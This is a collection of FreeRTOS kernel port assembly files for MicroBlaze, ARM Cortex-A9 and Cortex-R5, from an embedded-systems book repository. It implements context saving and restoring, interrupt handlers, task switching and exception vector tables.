ldp X16,X17, [sp], #0x10 ldp X14,X15, [sp], #0x10 ldp X12,X13, [sp], #0x10 ldp X10,X11, [sp], #0x10 ldp X8,X9, [sp], #0x10 ldp X6,X7, [sp], #0x10 ldp X4,X5, [sp], #0x10 ldp X2,X3, [sp], #0x10 ldp X0,X1, [sp], #0x10 eret .end
PacktPublishing/Architecting-High-Performance-Embedded-Systems
10,151
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/MicroBlazeV9/portasm.S
/* * FreeRTOS Kernel V10.3.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ /* FreeRTOS includes. */ #include "FreeRTOSConfig.h" /* Xilinx library includes. */ #include "microblaze_exceptions_g.h" #include "xparameters.h" #include "microblaze_instructions.h" /* The context is oversized to allow functions called from the ISR to write back into the caller stack. */ #if defined (__arch64__) #if( XPAR_MICROBLAZE_USE_FPU != 0 ) #define portCONTEXT_SIZE 272 #define portMINUS_CONTEXT_SIZE -272 #else #define portCONTEXT_SIZE 264 #define portMINUS_CONTEXT_SIZE -264 #endif #else #if( XPAR_MICROBLAZE_USE_FPU != 0 ) #define portCONTEXT_SIZE 136 #define portMINUS_CONTEXT_SIZE -136 #else #define portCONTEXT_SIZE 132 #define portMINUS_CONTEXT_SIZE -132 #endif #endif /* Offsets from the stack pointer at which saved registers are placed. */ #if defined (__arch64__) #define portR31_OFFSET 8 #define portR30_OFFSET 16 #define portR29_OFFSET 24 #define portR28_OFFSET 32 #define portR27_OFFSET 40 #define portR26_OFFSET 48 #define portR25_OFFSET 56 #define portR24_OFFSET 64 #define portR23_OFFSET 72 #define portR22_OFFSET 80 #define portR21_OFFSET 88 #define portR20_OFFSET 96 #define portR19_OFFSET 104 #define portR18_OFFSET 112 #define portR17_OFFSET 120 #define portR16_OFFSET 128 #define portR15_OFFSET 136 #define portR14_OFFSET 144 #define portR13_OFFSET 152 #define portR12_OFFSET 160 #define portR11_OFFSET 168 #define portR10_OFFSET 176 #define portR9_OFFSET 184 #define portR8_OFFSET 192 #define portR7_OFFSET 200 #define portR6_OFFSET 208 #define portR5_OFFSET 216 #define portR4_OFFSET 224 #define portR3_OFFSET 232 #define portR2_OFFSET 240 #define portCRITICAL_NESTING_OFFSET 248 #define portMSR_OFFSET 256 #define portFSR_OFFSET 264 #else #define portR31_OFFSET 4 #define portR30_OFFSET 8 #define portR29_OFFSET 12 #define portR28_OFFSET 16 #define portR27_OFFSET 20 #define portR26_OFFSET 24 #define portR25_OFFSET 28 #define portR24_OFFSET 32 #define portR23_OFFSET 36 #define portR22_OFFSET 40 #define portR21_OFFSET 44 #define portR20_OFFSET 48 #define portR19_OFFSET 52 #define portR18_OFFSET 56 #define portR17_OFFSET 60 #define portR16_OFFSET 64 #define portR15_OFFSET 68 #define portR14_OFFSET 72 #define portR13_OFFSET 76 #define portR12_OFFSET 80 #define portR11_OFFSET 84 #define portR10_OFFSET 88 #define portR9_OFFSET 92 #define portR8_OFFSET 96 #define portR7_OFFSET 100 #define portR6_OFFSET 104 #define portR5_OFFSET 108 #define portR4_OFFSET 112 #define portR3_OFFSET 116 #define portR2_OFFSET 120 #define portCRITICAL_NESTING_OFFSET 124 #define portMSR_OFFSET 128 #define portFSR_OFFSET 132 #endif .extern pxCurrentTCB .extern XIntc_DeviceInterruptHandler .extern vTaskSwitchContext .extern uxCriticalNesting .extern pulISRStack .extern ulTaskSwitchRequested .extern vPortExceptionHandler .extern pulStackPointerOnFunctionEntry .global _interrupt_handler .global VPortYieldASM .global vPortStartFirstTask .global vPortExceptionHandlerEntry .macro portSAVE_CONTEXT /* Make room for the context on the stack. */ ADDLIK r1, r1, portMINUS_CONTEXT_SIZE /* Stack general registers. */ SI r31, r1, portR31_OFFSET SI r30, r1, portR30_OFFSET SI r29, r1, portR29_OFFSET SI r28, r1, portR28_OFFSET SI r27, r1, portR27_OFFSET SI r26, r1, portR26_OFFSET SI r25, r1, portR25_OFFSET SI r24, r1, portR24_OFFSET SI r23, r1, portR23_OFFSET SI r22, r1, portR22_OFFSET SI r21, r1, portR21_OFFSET SI r20, r1, portR20_OFFSET SI r19, r1, portR19_OFFSET SI r18, r1, portR18_OFFSET SI r17, r1, portR17_OFFSET SI r16, r1, portR16_OFFSET SI r15, r1, portR15_OFFSET /* R14 is saved later as it needs adjustment if a yield is performed. */ SI r13, r1, portR13_OFFSET SI r12, r1, portR12_OFFSET SI r11, r1, portR11_OFFSET SI r10, r1, portR10_OFFSET SI r9, r1, portR9_OFFSET SI r8, r1, portR8_OFFSET SI r7, r1, portR7_OFFSET SI r6, r1, portR6_OFFSET SI r5, r1, portR5_OFFSET SI r4, r1, portR4_OFFSET SI r3, r1, portR3_OFFSET SI r2, r1, portR2_OFFSET /* Stack the critical section nesting value. */ LI r18, r0, uxCriticalNesting SI r18, r1, portCRITICAL_NESTING_OFFSET /* Stack MSR. */ mfs r18, rmsr SI r18, r1, portMSR_OFFSET #if( XPAR_MICROBLAZE_USE_FPU != 0 ) /* Stack FSR. */ mfs r18, rfsr SI r18, r1, portFSR_OFFSET #endif /* Save the top of stack value to the TCB. */ LI r3, r0, pxCurrentTCB STORE r1, r0, r3 .endm .macro portRESTORE_CONTEXT /* Load the top of stack value from the TCB. */ LI r18, r0, pxCurrentTCB LOAD r1, r0, r18 /* Restore the general registers. */ LI r31, r1, portR31_OFFSET LI r30, r1, portR30_OFFSET LI r29, r1, portR29_OFFSET LI r28, r1, portR28_OFFSET LI r27, r1, portR27_OFFSET LI r26, r1, portR26_OFFSET LI r25, r1, portR25_OFFSET LI r24, r1, portR24_OFFSET LI r23, r1, portR23_OFFSET LI r22, r1, portR22_OFFSET LI r21, r1, portR21_OFFSET LI r20, r1, portR20_OFFSET LI r19, r1, portR19_OFFSET LI r17, r1, portR17_OFFSET LI r16, r1, portR16_OFFSET LI r15, r1, portR15_OFFSET LI r14, r1, portR14_OFFSET LI r13, r1, portR13_OFFSET LI r12, r1, portR12_OFFSET LI r11, r1, portR11_OFFSET LI r10, r1, portR10_OFFSET LI r9, r1, portR9_OFFSET LI r8, r1, portR8_OFFSET LI r7, r1, portR7_OFFSET LI r6, r1, portR6_OFFSET LI r5, r1, portR5_OFFSET LI r4, r1, portR4_OFFSET LI r3, r1, portR3_OFFSET LI r2, r1, portR2_OFFSET /* Reload the rmsr from the stack. */ LI r18, r1, portMSR_OFFSET mts rmsr, r18 #if( XPAR_MICROBLAZE_USE_FPU != 0 ) /* Reload the FSR from the stack. */ LI r18, r1, portFSR_OFFSET mts rfsr, r18 #endif /* Load the critical nesting value. */ LI r18, r1, portCRITICAL_NESTING_OFFSET SI r18, r0, uxCriticalNesting /* Test the critical nesting value. If it is non zero then the task last exited the running state using a yield. If it is zero, then the task last exited the running state through an interrupt. */ XORI r18, r18, 0 BNEI r18, exit_from_yield /* r18 was being used as a temporary. Now restore its true value from the stack. */ LI r18, r1, portR18_OFFSET /* Remove the stack frame. */ ADDLIK r1, r1, portCONTEXT_SIZE /* Return using rtid so interrupts are re-enabled as this function is exited. */ rtid r14, 0 OR r0, r0, r0 .endm /* This function is used to exit portRESTORE_CONTEXT() if the task being returned to last left the Running state by calling taskYIELD() (rather than being preempted by an interrupt). */ .text #ifdef __arch64__ .align 8 #else .align 4 #endif exit_from_yield: /* r18 was being used as a temporary. Now restore its true value from the stack. */ LI r18, r1, portR18_OFFSET /* Remove the stack frame. */ ADDLIK r1, r1, portCONTEXT_SIZE /* Return to the task. */ rtsd r14, 0 OR r0, r0, r0 .text #ifdef __arch64__ .align 8 #else .align 4 #endif _interrupt_handler: portSAVE_CONTEXT /* Stack the return address. */ SI r14, r1, portR14_OFFSET /* Switch to the ISR stack. */ LI r1, r0, pulISRStack /* The parameter to the interrupt handler. */ ORI r5, r0, configINTERRUPT_CONTROLLER_TO_USE /* Execute any pending interrupts. */ BRALID r15, XIntc_DeviceInterruptHandler OR r0, r0, r0 /* See if a new task should be selected to execute. */ LI r18, r0, ulTaskSwitchRequested OR r18, r18, r0 /* If ulTaskSwitchRequested is already zero, then jump straight to restoring the task that is already in the Running state. */ BEQI r18, task_switch_not_requested /* Set ulTaskSwitchRequested back to zero as a task switch is about to be performed. */ SI r0, r0, ulTaskSwitchRequested /* ulTaskSwitchRequested was not 0 when tested. Select the next task to execute. */ BRALID r15, vTaskSwitchContext OR r0, r0, r0 task_switch_not_requested: /* Restore the context of the next task scheduled to execute. */ portRESTORE_CONTEXT .text #ifdef __arch64__ .align 8 #else .align 4 #endif VPortYieldASM: portSAVE_CONTEXT /* Modify the return address so a return is done to the instruction after the call to VPortYieldASM. */ ADDI r14, r14, 8 SI r14, r1, portR14_OFFSET /* Switch to use the ISR stack. */ LI r1, r0, pulISRStack /* Select the next task to execute. */ BRALID r15, vTaskSwitchContext OR r0, r0, r0 /* Restore the context of the next task scheduled to execute. */ portRESTORE_CONTEXT .text #ifdef __arch64__ .align 8 #else .align 4 #endif vPortStartFirstTask: portRESTORE_CONTEXT #if ( MICROBLAZE_EXCEPTIONS_ENABLED == 1 ) && ( configINSTALL_EXCEPTION_HANDLERS == 1 ) .text #ifdef __arch64__ .align 8 #else .align 4 #endif vPortExceptionHandlerEntry: /* Take a copy of the stack pointer before vPortExecptionHandler is called, storing its value prior to the function stack frame being created. */ SI r1, r0, pulStackPointerOnFunctionEntry BRALID r15, vPortExceptionHandler OR r0, r0, r0 #endif /* ( MICROBLAZE_EXCEPTIONS_ENABLED == 1 ) && ( configINSTALL_EXCEPTION_HANDLERS == 1 ) */
PacktPublishing/Architecting-High-Performance-Embedded-Systems
8,861
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/ARM_CA9/portASM.S
/* * FreeRTOS Kernel V10.3.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ .text .arm .set SYS_MODE, 0x1f .set SVC_MODE, 0x13 .set IRQ_MODE, 0x12 /* Hardware registers. */ .extern ulICCIAR .extern ulICCEOIR .extern ulICCPMR /* Variables and functions. */ .extern ulMaxAPIPriorityMask .extern _freertos_vector_table .extern pxCurrentTCB .extern vTaskSwitchContext .extern vApplicationIRQHandler .extern ulPortInterruptNesting .extern ulPortTaskHasFPUContext .global FreeRTOS_IRQ_Handler .global FreeRTOS_SWI_Handler .global vPortRestoreTaskContext .macro portSAVE_CONTEXT /* Save the LR and SPSR onto the system mode stack before switching to system mode to save the remaining system mode registers. */ SRSDB sp!, #SYS_MODE CPS #SYS_MODE PUSH {R0-R12, R14} /* Push the critical nesting count. */ LDR R2, ulCriticalNestingConst LDR R1, [R2] PUSH {R1} /* Does the task have a floating point context that needs saving? If ulPortTaskHasFPUContext is 0 then no. */ LDR R2, ulPortTaskHasFPUContextConst LDR R3, [R2] CMP R3, #0 /* Save the floating point context, if any. */ FMRXNE R1, FPSCR VPUSHNE {D0-D15} VPUSHNE {D16-D31} PUSHNE {R1} /* Save ulPortTaskHasFPUContext itself. */ PUSH {R3} /* Save the stack pointer in the TCB. */ LDR R0, pxCurrentTCBConst LDR R1, [R0] STR SP, [R1] .endm ; /**********************************************************************/ .macro portRESTORE_CONTEXT /* Set the SP to point to the stack of the task being restored. */ LDR R0, pxCurrentTCBConst LDR R1, [R0] LDR SP, [R1] /* Is there a floating point context to restore? If the restored ulPortTaskHasFPUContext is zero then no. */ LDR R0, ulPortTaskHasFPUContextConst POP {R1} STR R1, [R0] CMP R1, #0 /* Restore the floating point context, if any. */ POPNE {R0} VPOPNE {D16-D31} VPOPNE {D0-D15} VMSRNE FPSCR, R0 /* Restore the critical section nesting depth. */ LDR R0, ulCriticalNestingConst POP {R1} STR R1, [R0] /* Ensure the priority mask is correct for the critical nesting depth. */ LDR R2, ulICCPMRConst LDR R2, [R2] CMP R1, #0 MOVEQ R4, #255 LDRNE R4, ulMaxAPIPriorityMaskConst LDRNE R4, [R4] STR R4, [R2] /* Restore all system mode registers other than the SP (which is already being used). */ POP {R0-R12, R14} /* Return to the task code, loading CPSR on the way. */ RFEIA sp! .endm /****************************************************************************** * SVC handler is used to start the scheduler. *****************************************************************************/ .align 4 .type FreeRTOS_SWI_Handler, %function FreeRTOS_SWI_Handler: /* Save the context of the current task and select a new task to run. */ portSAVE_CONTEXT LDR R0, vTaskSwitchContextConst BLX R0 portRESTORE_CONTEXT /****************************************************************************** * vPortRestoreTaskContext is used to start the scheduler. *****************************************************************************/ .type vPortRestoreTaskContext, %function vPortRestoreTaskContext: /* Switch to system mode. */ CPS #SYS_MODE portRESTORE_CONTEXT .align 4 .type FreeRTOS_IRQ_Handler, %function FreeRTOS_IRQ_Handler: /* Return to the interrupted instruction. */ SUB lr, lr, #4 /* Push the return address and SPSR. */ PUSH {lr} MRS lr, SPSR PUSH {lr} /* Change to supervisor mode to allow reentry. */ CPS #SVC_MODE /* Push used registers. */ PUSH {r0-r4, r12} /* Increment nesting count. r3 holds the address of ulPortInterruptNesting for future use. r1 holds the original ulPortInterruptNesting value for future use. */ LDR r3, ulPortInterruptNestingConst LDR r1, [r3] ADD r4, r1, #1 STR r4, [r3] /* Read value from the interrupt acknowledge register, which is stored in r0 for future parameter and interrupt clearing use. */ LDR r2, ulICCIARConst LDR r2, [r2] LDR r0, [r2] /* Ensure bit 2 of the stack pointer is clear. r2 holds the bit 2 value for future use. _RB_ Does this ever actually need to be done provided the start of the stack is 8-byte aligned? */ MOV r2, sp AND r2, r2, #4 SUB sp, sp, r2 /* Call the interrupt handler. r4 pushed to maintain alignment. */ PUSH {r0-r4, lr} LDR r1, vApplicationIRQHandlerConst BLX r1 POP {r0-r4, lr} ADD sp, sp, r2 CPSID i DSB ISB /* Write the value read from ICCIAR to ICCEOIR. */ LDR r4, ulICCEOIRConst LDR r4, [r4] STR r0, [r4] /* Restore the old nesting count. */ STR r1, [r3] /* A context switch is never performed if the nesting count is not 0. */ CMP r1, #0 BNE exit_without_switch /* Did the interrupt request a context switch? r1 holds the address of ulPortYieldRequired and r0 the value of ulPortYieldRequired for future use. */ LDR r1, =ulPortYieldRequired LDR r0, [r1] CMP r0, #0 BNE switch_before_exit exit_without_switch: /* No context switch. Restore used registers, LR_irq and SPSR before returning. */ POP {r0-r4, r12} CPS #IRQ_MODE POP {LR} MSR SPSR_cxsf, LR POP {LR} MOVS PC, LR switch_before_exit: /* A context switch is to be performed. Clear the context switch pending flag. */ MOV r0, #0 STR r0, [r1] /* Restore used registers, LR-irq and SPSR before saving the context to the task stack. */ POP {r0-r4, r12} CPS #IRQ_MODE POP {LR} MSR SPSR_cxsf, LR POP {LR} portSAVE_CONTEXT /* Call the function that selects the new task to execute. vTaskSwitchContext() if vTaskSwitchContext() uses LDRD or STRD instructions, or 8 byte aligned stack allocated data. LR does not need saving as a new LR will be loaded by portRESTORE_CONTEXT anyway. */ LDR R0, vTaskSwitchContextConst BLX R0 /* Restore the context of, and branch to, the task selected to execute next. */ portRESTORE_CONTEXT /****************************************************************************** * If the application provides an implementation of vApplicationIRQHandler(), * then it will get called directly without saving the FPU registers on * interrupt entry, and this weak implementation of * vApplicationIRQHandler() will not get called. * * If the application provides its own implementation of * vApplicationFPUSafeIRQHandler() then this implementation of * vApplicationIRQHandler() will be called, save the FPU registers, and then * call vApplicationFPUSafeIRQHandler(). * * Therefore, if the application writer wants FPU registers to be saved on * interrupt entry their IRQ handler must be called * vApplicationFPUSafeIRQHandler(), and if the application writer does not want * FPU registers to be saved on interrupt entry their IRQ handler must be * called vApplicationIRQHandler(). *****************************************************************************/ .align 4 .weak vApplicationIRQHandler .type vApplicationIRQHandler, %function vApplicationIRQHandler: PUSH {LR} FMRX R1, FPSCR VPUSH {D0-D15} VPUSH {D16-D31} PUSH {R1} LDR r1, vApplicationFPUSafeIRQHandlerConst BLX r1 POP {R0} VPOP {D16-D31} VPOP {D0-D15} VMSR FPSCR, R0 POP {PC} ulICCIARConst: .word ulICCIAR ulICCEOIRConst: .word ulICCEOIR ulICCPMRConst: .word ulICCPMR pxCurrentTCBConst: .word pxCurrentTCB ulCriticalNestingConst: .word ulCriticalNesting ulPortTaskHasFPUContextConst: .word ulPortTaskHasFPUContext ulMaxAPIPriorityMaskConst: .word ulMaxAPIPriorityMask vTaskSwitchContextConst: .word vTaskSwitchContext vApplicationIRQHandlerConst: .word vApplicationIRQHandler ulPortInterruptNestingConst: .word ulPortInterruptNesting vApplicationFPUSafeIRQHandlerConst: .word vApplicationFPUSafeIRQHandler .end
PacktPublishing/Architecting-High-Performance-Embedded-Systems
4,010
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/ARM_CA9/port_asm_vectors.S
/****************************************************************************** * * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * Copyright (C) 2009-2020 Xilinx, Inc. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! * ******************************************************************************/ /*****************************************************************************/ /** * @file asm_vectors.s * * This file contains the initial vector table for the Cortex A9 processor * * <pre> * MODIFICATION HISTORY: * * Ver Who Date Changes * ----- ------- -------- --------------------------------------------------- * 1.00a ecm/sdm 10/20/09 Initial version * 3.05a sdm 02/02/12 Save lr when profiling is enabled * 3.10a srt 04/18/13 Implemented ARM Erratas. Please refer to file * 'xil_errata.h' for errata description * </pre> * * @note * * None. * ******************************************************************************/ #include "xil_errata.h" .org 0 .text .arm .global _boot .global _freertos_vector_table .global _vector_table .global FIQInterrupt .global DataAbortInterrupt .global PrefetchAbortInterrupt .global vPortInstallFreeRTOSVectorTable .extern FreeRTOS_IRQ_Handler .extern FreeRTOS_SWI_Handler .section .vectors _vector_table: _freertos_vector_table: B _boot B FreeRTOS_Undefined ldr pc, _swi B FreeRTOS_PrefetchAbortHandler B FreeRTOS_DataAbortHandler NOP /* Placeholder for address exception vector*/ LDR PC, _irq B FreeRTOS_FIQHandler _irq: .word FreeRTOS_IRQ_Handler _swi: .word FreeRTOS_SWI_Handler .align 4 FreeRTOS_FIQHandler: /* FIQ vector handler */ stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ FIQLoop: blx FIQInterrupt /* FIQ vector */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ subs pc, lr, #4 /* adjust return */ .align 4 FreeRTOS_Undefined: /* Undefined handler */ b . .align 4 FreeRTOS_DataAbortHandler: /* Data Abort handler */ #ifdef CONFIG_ARM_ERRATA_775420 dsb #endif stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ blx DataAbortInterrupt /*DataAbortInterrupt :call C function here */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ subs pc, lr, #4 /* adjust return */ .align 4 FreeRTOS_PrefetchAbortHandler: /* Prefetch Abort handler */ #ifdef CONFIG_ARM_ERRATA_775420 dsb #endif stmdb sp!,{r0-r3,r12,lr} /* state save from compiled code */ blx PrefetchAbortInterrupt /* PrefetchAbortInterrupt: call C function here */ ldmia sp!,{r0-r3,r12,lr} /* state restore from compiled code */ subs pc, lr, #4 /* adjust return */ .align 4 .type vPortInstallFreeRTOSVectorTable, %function vPortInstallFreeRTOSVectorTable: /* Set VBAR to the vector table that contains the FreeRTOS handlers. */ ldr r0, =_freertos_vector_table mcr p15, 0, r0, c12, c0, 0 dsb isb bx lr .end
PacktPublishing/Architecting-High-Performance-Embedded-Systems
7,431
Chapter05/src/oscilloscope-software/design_1_wrapper/microblaze_0/domain_microblaze_0/bsp/microblaze_0/libsrc/freertos10_xilinx_v1_6/src/Source/portable/GCC/ARM_CR5/portASM.S
/* * FreeRTOS Kernel V10.3.0 * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://www.FreeRTOS.org * http://aws.amazon.com/freertos * * 1 tab == 4 spaces! */ .text .arm .set SYS_MODE, 0x1f .set SVC_MODE, 0x13 .set IRQ_MODE, 0x12 /* Hardware registers. */ .extern ulICCIAR .extern ulICCEOIR .extern ulICCPMR /* Variables and functions. */ .extern ulMaxAPIPriorityMask .extern _freertos_vector_table .extern pxCurrentTCB .extern vTaskSwitchContext .extern vApplicationIRQHandler .extern ulPortInterruptNesting .extern ulPortTaskHasFPUContext .global FreeRTOS_IRQ_Handler .global FreeRTOS_SWI_Handler .global vPortRestoreTaskContext .macro portSAVE_CONTEXT /* Save the LR and SPSR onto the system mode stack before switching to system mode to save the remaining system mode registers. */ SRSDB sp!, #SYS_MODE CPS #SYS_MODE PUSH {R0-R12, R14} /* Push the critical nesting count. */ LDR R2, ulCriticalNestingConst LDR R1, [R2] PUSH {R1} /* Does the task have a floating point context that needs saving? If ulPortTaskHasFPUContext is 0 then no. */ LDR R2, ulPortTaskHasFPUContextConst LDR R3, [R2] CMP R3, #0 /* Save the floating point context, if any. */ FMRXNE R1, FPSCR VPUSHNE {D0-D15} PUSHNE {R1} /* Save ulPortTaskHasFPUContext itself. */ PUSH {R3} /* Save the stack pointer in the TCB. */ LDR R0, pxCurrentTCBConst LDR R1, [R0] STR SP, [R1] .endm ; /**********************************************************************/ .macro portRESTORE_CONTEXT /* Set the SP to point to the stack of the task being restored. */ LDR R0, pxCurrentTCBConst LDR R1, [R0] LDR SP, [R1] /* Is there a floating point context to restore? If the restored ulPortTaskHasFPUContext is zero then no. */ LDR R0, ulPortTaskHasFPUContextConst POP {R1} STR R1, [R0] CMP R1, #0 /* Restore the floating point context, if any. */ POPNE {R0} VPOPNE {D0-D15} VMSRNE FPSCR, R0 /* Restore the critical section nesting depth. */ LDR R0, ulCriticalNestingConst POP {R1} STR R1, [R0] /* Ensure the priority mask is correct for the critical nesting depth. */ LDR R2, ulICCPMRConst LDR R2, [R2] CMP R1, #0 MOVEQ R4, #255 LDRNE R4, ulMaxAPIPriorityMaskConst LDRNE R4, [R4] STR R4, [R2] /* Restore all system mode registers other than the SP (which is already being used). */ POP {R0-R12, R14} /* Return to the task code, loading CPSR on the way. */ RFEIA sp! .endm /****************************************************************************** * SVC handler is used to start the scheduler. *****************************************************************************/ .align 4 .type FreeRTOS_SWI_Handler, %function FreeRTOS_SWI_Handler: /* Save the context of the current task and select a new task to run. */ portSAVE_CONTEXT LDR R0, vTaskSwitchContextConst BLX R0 portRESTORE_CONTEXT /****************************************************************************** * vPortRestoreTaskContext is used to start the scheduler. *****************************************************************************/ .type vPortRestoreTaskContext, %function vPortRestoreTaskContext: /* Switch to system mode. */ CPS #SYS_MODE portRESTORE_CONTEXT .align 4 .type FreeRTOS_IRQ_Handler, %function FreeRTOS_IRQ_Handler: /* Return to the interrupted instruction. */ SUB lr, lr, #4 /* Push the return address and SPSR. */ PUSH {lr} MRS lr, SPSR PUSH {lr} /* Change to supervisor mode to allow reentry. */ CPS #SVC_MODE /* Push used registers. */ PUSH {r0-r4, r12} /* Increment nesting count. r3 holds the address of ulPortInterruptNesting for future use. r1 holds the original ulPortInterruptNesting value for future use. */ LDR r3, ulPortInterruptNestingConst LDR r1, [r3] ADD r4, r1, #1 STR r4, [r3] /* Read value from the interrupt acknowledge register, which is stored in r0 for future parameter and interrupt clearing use. */ LDR r2, ulICCIARConst LDR r2, [r2] LDR r0, [r2] /* Ensure bit 2 of the stack pointer is clear. r2 holds the bit 2 value for future use. _RB_ Is this ever needed provided the start of the stack is aligned on an 8-byte boundary? */ MOV r2, sp AND r2, r2, #4 SUB sp, sp, r2 /* Call the interrupt handler. */ PUSH {r0-r4, lr} LDR r1, vApplicationIRQHandlerConst BLX r1 POP {r0-r4, lr} ADD sp, sp, r2 CPSID i DSB ISB /* Write the value read from ICCIAR to ICCEOIR. */ LDR r4, ulICCEOIRConst LDR r4, [r4] STR r0, [r4] /* Restore the old nesting count. */ STR r1, [r3] /* A context switch is never performed if the nesting count is not 0. */ CMP r1, #0 BNE exit_without_switch /* Did the interrupt request a context switch? r1 holds the address of ulPortYieldRequired and r0 the value of ulPortYieldRequired for future use. */ LDR r1, =ulPortYieldRequired LDR r0, [r1] CMP r0, #0 BNE switch_before_exit exit_without_switch: /* No context switch. Restore used registers, LR_irq and SPSR before returning. */ POP {r0-r4, r12} CPS #IRQ_MODE POP {LR} MSR SPSR_cxsf, LR POP {LR} MOVS PC, LR switch_before_exit: /* A context switch is to be performed. Clear the context switch pending flag. */ MOV r0, #0 STR r0, [r1] /* Restore used registers, LR-irq and SPSR before saving the context to the task stack. */ POP {r0-r4, r12} CPS #IRQ_MODE POP {LR} MSR SPSR_cxsf, LR POP {LR} portSAVE_CONTEXT /* Call the function that selects the new task to execute. vTaskSwitchContext() if vTaskSwitchContext() uses LDRD or STRD instructions, or 8 byte aligned stack allocated data. LR does not need saving as a new LR will be loaded by portRESTORE_CONTEXT anyway. */ LDR R0, vTaskSwitchContextConst BLX R0 /* Restore the context of, and branch to, the task selected to execute next. */ portRESTORE_CONTEXT ulICCIARConst: .word ulICCIAR ulICCEOIRConst: .word ulICCEOIR ulICCPMRConst: .word ulICCPMR pxCurrentTCBConst: .word pxCurrentTCB ulCriticalNestingConst: .word ulCriticalNesting ulPortTaskHasFPUContextConst: .word ulPortTaskHasFPUContext ulMaxAPIPriorityMaskConst: .word ulMaxAPIPriorityMask vTaskSwitchContextConst: .word vTaskSwitchContext vApplicationIRQHandlerConst: .word vApplicationIRQHandler ulPortInterruptNestingConst: .word ulPortInterruptNesting .end
PacktPublishing/Architecting-High-Performance-Embedded-Systems
2,873
